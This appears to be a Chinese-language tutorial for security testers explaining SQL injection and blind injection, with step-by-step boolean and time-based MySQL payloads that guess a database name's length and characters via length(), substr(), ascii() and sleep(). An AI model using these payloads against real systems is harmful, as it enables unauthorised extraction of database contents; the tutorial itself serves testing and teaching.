测试同学在做安全测试时,相信多少都会遇到SQL注入与盲注的漏洞,那么今天我们就来分享下SQL注入与盲注的相关知识,希望对大家有所启发。
一、SQL盲注的定义
SQL注入,简单理解,也就是将用户输的的内容当代码执行了,应用程序没有对用户输入的内容进行判断和过滤,攻击者通过将构造的恶意SQL语句作为查询参数,使其在后台服务器上解析执行,最终导致数据库信息被篡改或泄露,这个过程就成为SQL注入。
盲注,其实是SQL注入的一种, 攻击者在没有获得任何错误回显消息的情况下,通过使用一系列的布尔型或时间型查询,逐渐推断出数据库中的敏感信息。简单理解下,盲注的表现就是,同一个接口,同一个参数,传不符合常规的值,理论上返回的结果都是一样的,实际上却返回了两个不同的结果。
举个例子,一个查询列表,在搜索框输入学生id,就会显示该学生信息,程序执行的SQL就是SELECT name,age FROM users WHERE user_id = '$id';
正常情况下,用户输入用户名id,就能查到用户信息,但是如果攻击者输入的内容是:666' or '1'='1,那么查询的SQL语句就变成SELECT name,age FROM users WHERE user_id = '666' or '1'='1',由于1=1恒成立,就会执行SQL,执行后,就会返回所有的学生信息,有回显信息,这就是典型的SQL注入的例子。
如果执行SQL后,应用程序不显示任何具体的数据,可能只是告诉我们查询成功或者查询失败,或者什么都不说,没有回显,但是SQL还是执行了,SQL注入发生了,这就是盲注的典型例子。
二、SQL盲注基础分类
盲注主要包含两类:基于布尔类型的盲注和基于时间类型的盲注。
1、布尔盲注
布尔盲注:进行SQL注入之后,根据页面返回的True或者是False,来得到数据库中的相关信息
2、时间盲注
时间盲注:无论输入什么值,只会回显一个界面,通过加入特定的时间函数,查看页面返回的时间差来判断注入的语句是否正确。
一般情况下,可以进行布尔盲注的地方也可以进行时间盲注,但是,可以进行时间盲注的地方不一定可以进行时间盲注,而且时间盲注适用的范围更广,布尔盲注的稳定性更好,但因为时间盲注的实现原理是基于timeout的,稳定性与效率不如布尔注入。
在盲注测试时,通常先测试是否可以布尔盲注,若不行再尝试时间盲注。
三、SQL盲注常用函数
1、length()函数
返回字符串的长度
2、substr()截取
截取字符串,语法:SUBSTR(str,pos,len),从str中截取,从pos开始的位置,截取len个字符(空白也算字符)
3、ascii()
返回字符的ascii码
4、sleep()
将程序挂起一段时间
5、if(expr1,expr2,expr3)
判断语句,如果第一个语句正确,就执行第二个语句,如果错误,就执行第三个语句
四、SQL盲注实例剖析
(一)长度判断原理
以MySQL的length()函数为例,判断返回结果的长度是多少,我们想要判断数据库库名的长度是多少,在输入框可以输入:
?id=1' and length( database() )=1 -- a
执行的流程是:
1、原始SQL
SELECT name,age FROM users WHERE user_id = '$id';
2、用户输入参数
1' and length( database() )=1--+
3、拼接参数后,在后台执行SQL
SELECT name,age FROM users WHERE user_id = '1' and length( database() )=1--+';
--表示注释符号
4、length( database() )=1结果为false
SELECT name,age FROM users WHERE user_id = '1' and length( database() )=1--+';
即
SELECT name,age FROM users WHERE user_id = '1' and false --+';
5、查询结果为空
6、依次猜测长度
将输入变为:?id=1' and length( database() )=2 -- +
将输入变为:?id=1' and length( database() )=3 -- +
...
执行的SQL为:
SELECT name,age FROM users WHERE user_id = '1' and length( database() )=2--+';
执行的SQL为:
SELECT name,age FROM users WHERE user_id = '1' and length( database() )=3--+';
...
7、当执行结果显示为正常时
例如长度为6时,返回了正常结果,也就是执行的SQL为:
SELECT name,age FROM users WHERE user_id = '1' and length( database() )=6--+';
即
SELECT name,age FROM users WHERE user_id = '1' and true --+';
8、猜测成功
数据库的长度就是6了
(二)穷举字符原理
如果想要猜测数据库名称,就得用到MySQL的substr()函数,将截取到的字符,使用ascii()函数转换成ASCLL码,依次判断。
每一个字符有95种可能性,包括大小写字母和特殊字符,对应的ASCLL码在32~126之间。
接着上面的例子,我们已经猜测除了数据库名的长度,接着猜测数据库名字,猜测流程如下:
1、输入框输入:1' and ascii( substr(database(),1,1) )=32--+
2、原始SQL:
SELECT name,age FROM users WHERE user_id = '$id';
3、拼接参数后,在后台执行SQL
SELECT name,age FROM users WHERE user_id = '1' and ascii( substr(database(),1,1) )=32--+';
--表示注释符号
substr(database(),1,1)表示数据库名的第一个字母
ascii( substr(database(),1,1) )=32表示数据库的第一个字母是空格,空格的ascii码值是32
4、查询结果为空
由于ascii( substr(database(),1,1) )=32结果为false
SELECT name,age FROM users WHERE user_id = '1' and false
所以结果为空
5、依次猜测结果
将输入变为:1' and ascii( substr(database(),1,1) )=33--+
将输入变为:1' and ascii( substr(database(),1,1) )=34--+
...
执行的SQL为:
SELECT name,age FROM users WHERE user_id = '1' and ascii( substr(database(),1,1) )=33--+';
执行的SQL为:
SELECT name,age FROM users WHERE user_id = '1' and ascii( substr(database(),1,1) )=34--+';
...
6、当执行结果为正常时
例如,ascii码值是65时,返回了正常结果,也就是执行的SQL为:
SELECT name,age FROM users WHERE user_id = '1' and ascii( substr(database(),1,1) )=65--+';
即
SELECT name,age FROM users WHERE user_id = '1' and true --+';
7、猜测成功
数据库名的第一个字母就是A了
(三)时间盲注原理
判断如果数据库的长度猜测正确了,则时间延迟5s
1、输入框输入:1' and if(length( database() )=1,sleep(5),1)--+
2、原始SQL:
SELECT name,age FROM users WHERE user_id = '$id';
3、拼接参数后,在后台执行SQL
SELECT name,age FROM users WHERE user_id = '1' and if(length( database() )=1,sleep(5),1)--+';
--表示注释符号
length( database() )=1表示数据库名的长度是1
if(length( database() )=1,sleep(5),1)表示如果数据库名的长度是1,则延迟5s
4、查询结果为空
由于length( database() )=1结果为false
SELECT name,age FROM users WHERE user_id = '1' and false
所以结果为空
5、依次猜测结果
将输入变为:1' and if(length( database() )=2,sleep(5),1)--+
将输入变为:1' and if(length( database() )=3,sleep(5),1)--+
...
执行的SQL为:
SELECT name,age FROM users WHERE user_id = '1' and if(length( database() )=2,sleep(5),1)--+';
执行的SQL为:
SELECT name,age FROM users WHERE user_id = '1' and if(length( database() )=3,sleep(5),1)--+';
...
6、当执行结果真正延时5s时
例如,数据库名的长度是6,也就是执行的SQL为:
SELECT name,age FROM users WHERE user_id = '1' and if(length( database() )=6,sleep(5),1)--+';
即
SELECT name,age FROM users WHERE user_id = '1' and true --+';
7、猜测成功
数据库名的长度是6